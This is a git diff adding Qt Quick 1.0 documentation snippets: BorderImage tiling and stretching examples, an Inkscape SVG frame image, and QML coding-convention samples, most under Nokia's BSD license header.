diff --git a/doc/src/snippets/declarative/borderimage/borderimage-defaults.qml b/doc/src/snippets/declarative/borderimage/borderimage-defaults.qml
new file mode 100644
index 00000000..f960be88
--- /dev/null
+++ b/doc/src/snippets/declarative/borderimage/borderimage-defaults.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ color: "white"
+ width: 180; height: 180
+
+//! [tiled border image]
+BorderImage {
+ width: 180; height: 180
+ border { left: 30; top: 30; right: 30; bottom: 30 }
+ source: "pics/borderframe.png"
+}
+//! [tiled border image]
+}
diff --git a/doc/src/snippets/declarative/borderimage/borderimage-scaled.qml b/doc/src/snippets/declarative/borderimage/borderimage-scaled.qml
new file mode 100644
index 00000000..d43da5e8
--- /dev/null
+++ b/doc/src/snippets/declarative/borderimage/borderimage-scaled.qml
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ color: "white"
+ width: 180; height: 180
+
+//! [scaled border image]
+BorderImage {
+ width: 180; height: 180
+ border { left: 30; top: 30; right: 30; bottom: 30 }
+ horizontalTileMode: BorderImage.Stretch
+ verticalTileMode: BorderImage.Stretch
+ source: "pics/borderframe.png"
+}
+//! [scaled border image]
+
+ Rectangle {
+ x: 30; y: 0
+ width: 1; height: 180
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 150; y: 0
+ width: 1; height: 180
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 30
+ width: 180; height: 1
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 150
+ width: 180; height: 1
+ color: "gray"
+ }
+}
diff --git a/doc/src/snippets/declarative/borderimage/borderimage-tiled.qml b/doc/src/snippets/declarative/borderimage/borderimage-tiled.qml
new file mode 100644
index 00000000..21cb6f8e
--- /dev/null
+++ b/doc/src/snippets/declarative/borderimage/borderimage-tiled.qml
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ color: "white"
+ width: 180; height: 180
+
+//! [tiled border image]
+BorderImage {
+ width: 180; height: 180
+ border { left: 30; top: 30; right: 30; bottom: 30 }
+ horizontalTileMode: BorderImage.Repeat
+ verticalTileMode: BorderImage.Repeat
+ source: "pics/borderframe.png"
+}
+//! [tiled border image]
+
+ Rectangle {
+ x: 30; y: 0
+ width: 1; height: 180
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 150; y: 0
+ width: 1; height: 180
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 30
+ width: 180; height: 1
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 150
+ width: 180; height: 1
+ color: "gray"
+ }
+}
diff --git a/doc/src/snippets/declarative/borderimage/normal-image.qml b/doc/src/snippets/declarative/borderimage/normal-image.qml
new file mode 100644
index 00000000..7fde0c4f
--- /dev/null
+++ b/doc/src/snippets/declarative/borderimage/normal-image.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ color: "white"
+ width: 120; height: 120
+
+//! [normal image]
+Image {
+ source: "pics/borderframe.png"
+}
+//! [normal image]
+
+ Rectangle {
+ x: 30; y: 0
+ width: 1; height: 120
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 90; y: 0
+ width: 1; height: 120
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 30
+ width: 200; height: 1
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 90
+ width: 200; height: 1
+ color: "gray"
+ }
+}
diff --git a/doc/src/snippets/declarative/borderimage/pics/borderframe.png b/doc/src/snippets/declarative/borderimage/pics/borderframe.png
new file mode 100644
index 00000000..97a9452d
--- /dev/null
+++ b/doc/src/snippets/declarative/borderimage/pics/borderframe.png
Binary files differ
diff --git a/doc/src/snippets/declarative/borderimage/pics/borderframe.svg b/doc/src/snippets/declarative/borderimage/pics/borderframe.svg
new file mode 100644
index 00000000..9286c829
--- /dev/null
+++ b/doc/src/snippets/declarative/borderimage/pics/borderframe.svg
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.46"
+ sodipodi:docname="borderframe.svg"
+ inkscape:output_extension="org.inkscape.output.svg.inkscape">
+ <defs
+ id="defs4">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 526.18109 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="744.09448 : 526.18109 : 1"
+ inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+ id="perspective10" />
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="1.4"
+ inkscape:cx="219.40254"
+ inkscape:cy="802.84271"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="true"
+ inkscape:window-width="1226"
+ inkscape:window-height="668"
+ inkscape:window-x="220"
+ inkscape:window-y="284">
+ <inkscape:grid
+ type="xygrid"
+ id="grid2383"
+ visible="true"
+ enabled="true"
+ spacingx="1px"
+ spacingy="1px" />
+ </sodipodi:namedview>
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <path
+ style="fill:none;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:4;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dashoffset:0;stroke-opacity:1;stroke-dasharray:none"
+ d="M 120,102.36218 C 120,77.362186 145,77.362186 145,102.36218 L 195,102.36218 L 220,77.362186 L 245,102.36218 L 295,102.36218 C 295,77.362186 320,77.362186 320,102.36218 C 345,102.36218 345,127.36218 320,127.36218 L 320,177.36218 L 345,202.36218 L 320,227.36218 L 320,277.36218 C 345,277.36218 345,302.36218 320,302.36218 C 320,327.36218 295,327.36218 295,302.36218 L 245,302.36218 L 220,327.36218 L 195,302.36218 L 145,302.36218 C 145,327.36218 120,327.36218 120,302.36218 C 95,302.36218 95,277.36218 120,277.36218 L 120,227.36218 L 95,202.36218 L 120,177.36218 L 120,127.36218 C 95,127.36218 95,102.36218 120,102.36218 z"
+ id="rect2387"
+ sodipodi:nodetypes="ccccccccccccccccccccccccc" />
+ <path
+ sodipodi:nodetypes="ccccccccccccccccccccccccc"
+ id="path3160"
+ d="M 130,112.3622 C 130,89.862207 130,92.362183 140,112.36218 L 197.5,112.3622 L 220,89.862207 L 242.5,112.3622 L 300,112.36218 C 310,92.362183 310,89.862207 310,112.3622 C 332.5,112.3622 330,112.36218 310,122.36218 L 310,179.8622 L 332.5,202.3622 L 310,224.8622 L 310,282.36218 C 330,292.36218 332.5,292.3622 310,292.3622 C 310,314.8622 310,312.36218 300,292.36218 L 242.5,292.3622 L 220,314.8622 L 197.5,292.3622 L 140,292.36218 C 130,312.36218 130,314.8622 130,292.3622 C 107.5,292.3622 110,292.36218 130,282.36218 L 130,224.8622 L 107.5,202.3622 L 130,179.8622 L 130,122.36218 C 110,112.36218 107.5,112.3622 130,112.3622 z"
+ style="fill:none;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:8;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dashoffset:0;stroke-opacity:1;stroke-dasharray:none" />
+ </g>
+</svg>
diff --git a/doc/src/snippets/declarative/codingconventions/dotproperties.qml b/doc/src/snippets/declarative/codingconventions/dotproperties.qml
new file mode 100644
index 00000000..e7d5c55a
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/dotproperties.qml
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+
+//! [0]
+Rectangle {
+ anchors.left: parent.left; anchors.top: parent.top; anchors.right: parent.right; anchors.leftMargin: 20
+}
+
+Text {
+ text: "hello"
+ font.bold: true; font.italic: true; font.pixelSize: 20; font.capitalization: Font.AllUppercase
+}
+
+//! [0]
+
+//! [1]
+Rectangle {
+ anchors { left: parent.left; top: parent.top; right: parent.right; leftMargin: 20 }
+}
+
+Text {
+ text: "hello"
+ font { bold: true; italic: true; pixelSize: 20; capitalization: Font.AllUppercase }
+}
+//! [1]
+
+}
diff --git a/doc/src/snippets/declarative/codingconventions/javascript-imports.qml b/doc/src/snippets/declarative/codingconventions/javascript-imports.qml
new file mode 100644
index 00000000..ad945105
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/javascript-imports.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+import "myscript.js" as Script
+
+Rectangle { color: "blue"; width: Script.calculateWidth(parent) }
+//![0]
diff --git a/doc/src/snippets/declarative/codingconventions/javascript.qml b/doc/src/snippets/declarative/codingconventions/javascript.qml
new file mode 100644
index 00000000..d0f8e3fa
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/javascript.qml
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+
+//![0]
+Rectangle { color: "blue"; width: parent.width / 3 }
+//![0]
+
+//![1]
+Rectangle {
+ color: "blue"
+ width: {
+ var w = parent.width / 3
+ console.debug(w)
+ return w
+ }
+}
+//![1]
+
+//![2]
+function calculateWidth(object)
+{
+ var w = object.width / 3
+ // ...
+ // more javascript code
+ // ...
+ console.debug(w)
+ return w
+}
+
+Rectangle { color: "blue"; width: calculateWidth(parent) }
+//![2]
+}
diff --git a/doc/src/snippets/declarative/codingconventions/lists.qml b/doc/src/snippets/declarative/codingconventions/lists.qml
new file mode 100644
index 00000000..508d4c6c
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/lists.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ Item {
+//! [0]
+states: [
+ State {
+ name: "open"
+ PropertyChanges { target: container; width: 200 }
+ }
+]
+//! [0]
+ }
+ Item {
+//! [1]
+states: State {
+ name: "open"
+ PropertyChanges { target: container; width: 200 }
+}
+//! [1]
+ }
+}
diff --git a/doc/src/snippets/declarative/codingconventions/myscript.js b/doc/src/snippets/declarative/codingconventions/myscript.js
new file mode 100644
index 00000000..cfa64625
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/myscript.js
@@ -0,0 +1,9 @@
+function calculateWidth(parent)
+{
+ var w = parent.width / 3
+ // ...
+ // more javascript code
+ // ...
+ console.debug(w)
+ return w
+}
diff --git a/doc/src/snippets/declarative/codingconventions/photo.qml b/doc/src/snippets/declarative/codingconventions/photo.qml
new file mode 100644
index 00000000..ae4fdc63
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/photo.qml
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//! [0]
+Rectangle {
+ id: photo // id on the first line makes it easy to find an object
+
+ property bool thumbnail: false // property declarations
+ property alias image: photoImage.source
+
+ signal clicked // signal declarations
+
+ function doSomething(x) // javascript functions
+ {
+ return x + photoImage.width
+ }
+
+ color: "gray" // object properties
+ x: 20; y: 20; height: 150 // try to group related properties together
+ width: { // large bindings
+ if(photoImage.width > 200){
+ photoImage.width;
+ }else{
+ 200;
+ }
+ }
+
+ Rectangle { // child objects
+ id: border
+ anchors.centerIn: parent; color: "white"
+
+ Image { id: photoImage; anchors.centerIn: parent }
+ }
+
+ states: State { // states
+ name: "selected"
+ PropertyChanges { target: border; color: "red" }
